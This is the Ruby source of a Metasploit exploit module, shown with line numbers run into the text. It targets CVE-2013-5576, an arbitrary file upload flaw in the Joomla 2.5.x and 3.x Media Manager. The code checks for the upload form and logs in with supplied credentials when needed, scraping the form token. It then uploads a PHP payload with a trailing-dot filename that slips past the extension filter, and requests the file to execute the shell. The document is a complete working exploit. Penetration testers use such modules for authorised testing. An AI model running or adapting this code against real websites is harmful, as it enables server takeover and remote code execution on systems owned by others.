Path: blob/master/modules/exploits/unix/webapp/joomla_media_upload_exec.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => "Joomla Media Manager File Upload Vulnerability",16'Description' => %q{17This module exploits a vulnerability found in Joomla 2.5.x up to 2.5.13, as well as183.x up to 3.1.4 versions. The vulnerability exists in the Media Manager component,19which comes by default in Joomla, allowing arbitrary file uploads, and results in20arbitrary code execution. The module has been tested successfully on Joomla 2.5.1321and 3.1.4 on Ubuntu 10.04. Note: If public access isn't allowed to the Media22Manager, you will need to supply a valid username and password (Editor role or23higher) in order to work properly.24},25'License' => MSF_LICENSE,26'Author' => [27'Jens Hinrichsen', # Vulnerability discovery according to the OSVDB28'juan vazquez' # Metasploit module29],30'References' => [31[ 'CVE', '2013-5576' ],32[ 'OSVDB', '95933' ],33[ 'URL', 'http://developer.joomla.org/security/news/563-20130801-core-unauthorised-uploads' ],34[ 'URL', 'http://www.cso.com.au/article/523528/joomla_patches_file_manager_vulnerability_responsible_hijacked_websites/' ],35[ 'URL', 'https://github.com/joomla/joomla-cms/commit/fa5645208eefd70f521cd2e4d53d5378622133d8' ],36[ 'URL', 'http://niiconsulting.com/checkmate/2013/08/critical-joomla-file-upload-vulnerability/' ],37[ 'URL', 'https://www.rapid7.com/blog/post/2013/08/15/time-to-patch-joomla' ]38],39'Payload' => {40'DisableNops' => true,41# Arbitrary big number. The payload gets sent as POST data, so42# really it's unlimited43'Space' => 262144, # 256k44},45'Platform' => ['php'],46'Arch' => ARCH_PHP,47'Targets' => [48[ 'Joomla 2.5.x <=2.5.13 / Joomla 3.x <=3.1.4', {} ]49],50'Privileged' => false,51'DisclosureDate' => '2013-08-01',52'DefaultTarget' => 0,53'Notes' => {54'Reliability' => UNKNOWN_RELIABILITY,55'Stability' => UNKNOWN_STABILITY,56'SideEffects' => UNKNOWN_SIDE_EFFECTS57}58)59)6061register_options(62[63OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']),64OptString.new('USERNAME', [true, 'User to login with', '']),65OptString.new('PASSWORD', [true, 'Password to login with', '']),66]67)68end6970def check71res = get_upload_form7273if res and (res.code == 200 or res.code == 302)74if res.body =~ /You are not authorised to view this resource/75vprint_status("Joomla Media Manager Found but authentication required")76return Exploit::CheckCode::Detected77elsif res.body =~ /<form action="(.*)" id="uploadForm"/78vprint_status("Joomla Media Manager Found and authentication isn't required")79return Exploit::CheckCode::Detected80end81end8283return Exploit::CheckCode::Safe84end8586def upload(upload_uri)87begin88u = URI(upload_uri)89rescue ::URI::InvalidURIError90fail_with(Failure::Unknown, "Unable to get the upload_uri correctly")91end9293data = Rex::MIME::Message.new94data.add_part(payload.encoded, "application/x-php", nil, "form-data; name=\"Filedata[]\"; filename=\"#{@upload_name}.\"")95post_data = data.to_s9697res = send_request_cgi({98'method' => 'POST',99'uri' => "#{u.path}?#{u.query}",100'ctype' => "multipart/form-data; boundary=#{data.bound}",101'cookie' => @cookies,102'vars_get' => {103'asset' => 'com_content',104'author' => '',105'format' => '',106'view' => 'images',107'folder' => ''108},109'data' => post_data110})111112return res113end114115def get_upload_form116res = send_request_cgi({117'method' => 'GET',118'uri' => normalize_uri(target_uri.path, "index.php"),119'cookie' => @cookies,120'encode_params' => false,121'vars_get' => {122'option' => 'com_media',123'view' => 'images',124'e_name' => 'jform_articletext',125'asset' => 'com_content',126'author' => ''127}128})129130return res131end132133def get_login_form134res = send_request_cgi({135'method' => 'GET',136'uri' => normalize_uri(target_uri.path, "index.php", "component", "users", "/"),137'cookie' => @cookies,138'vars_get' => {139'view' => 'login'140}141})142143return res144end145146def login147res = send_request_cgi({148'method' => 'POST',149'uri' => normalize_uri(target_uri.path, "index.php", "component", "users", "/"),150'cookie' => @cookies,151'vars_get' => {152'task' => 'user.login'153},154'vars_post' => {155'username' => @username,156'password' => @password157}.merge(@login_options)158})159160return res161end162163def parse_login_options(html)164html.scan(/<input type="hidden" name="(.*)" value="(.*)" \/>/) { |option|165@login_options[option[0]] = option[1] if option[1] == "1" # Searching for the Token Parameter, which always has value "1"166}167end168169def exploit170@login_options = {}171@cookies = ""172@upload_name = "#{rand_text_alpha(rand(5) + 3)}.php"173@username = datastore['USERNAME']174@password = datastore['PASSWORD']175176print_status("Checking Access to Media Component...")177res = get_upload_form178179if res and (res.code == 200 or res.code == 302) and !res.get_cookies.empty? and res.body =~ /You are not authorised to view this resource/180print_status("Authentication required... Proceeding...")181182if @username.empty? or @password.empty?183fail_with(Failure::BadConfig, "#{peer} - Authentication is required to access the Media Manager Component, please provide credentials")184end185@cookies = res.get_cookies.sub(/;$/, "")186187print_status("Accessing the Login Form...")188res = get_login_form189if res.nil? or (res.code != 200 and res.code != 302) or res.body !~ /login/190fail_with(Failure::Unknown, "#{peer} - Unable to Access the Login Form")191end192parse_login_options(res.body)193194res = login195if not res or res.code != 303196fail_with(Failure::NoAccess, "#{peer} - Unable to Authenticate")197end198elsif res and (res.code == 200 or res.code == 302) and !res.get_cookies.empty? and res.body =~ /<form action="(.*)" id="uploadForm"/199print_status("Authentication isn't required.... Proceeding...")200@cookies = res.get_cookies.sub(/;$/, "")201else202fail_with(Failure::UnexpectedReply, "#{peer} - Failed to Access the Media Manager Component")203end204205print_status("Accessing the Upload Form...")206res = get_upload_form207208if res and (res.code == 200 or res.code == 302) and res.body =~ /<form action="(.*)" id="uploadForm"/209upload_uri = Rex::Text.html_decode($1)210else211fail_with(Failure::Unknown, "#{peer} - Unable to Access the Upload Form")212end213214print_status("Uploading shell...")215216res = upload(upload_uri)217218if res.nil? or res.code != 200219fail_with(Failure::Unknown, "#{peer} - Upload failed")220end221222register_files_for_cleanup("#{@upload_name}.")223print_status("Executing shell...")224send_request_cgi({225'method' => 'GET',226'uri' => normalize_uri(target_uri.path, "images", @upload_name),227})228end229end230231232